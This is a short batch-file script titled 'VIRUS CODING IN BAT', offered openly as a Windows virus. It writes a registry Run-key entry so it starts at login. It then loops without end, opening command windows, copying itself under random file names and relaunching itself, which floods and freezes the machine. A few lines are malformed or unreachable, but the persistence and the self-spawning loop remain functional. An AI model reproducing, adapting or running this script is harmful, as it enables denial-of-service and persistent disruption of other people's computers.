VIRUS CODING IN BAT

   1: @echo off

   2: set path="%windir%\system32"

   3: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "C:\WINDOWS\blah.bat" /f

   4: goto core

   5: :core

   6: start cmd.exe

   7: copy %0 %random%.bat >; nul

   8: start %0

   9: goto core

  10: :end

  11: copy %0 %windir%\blah.bat > nul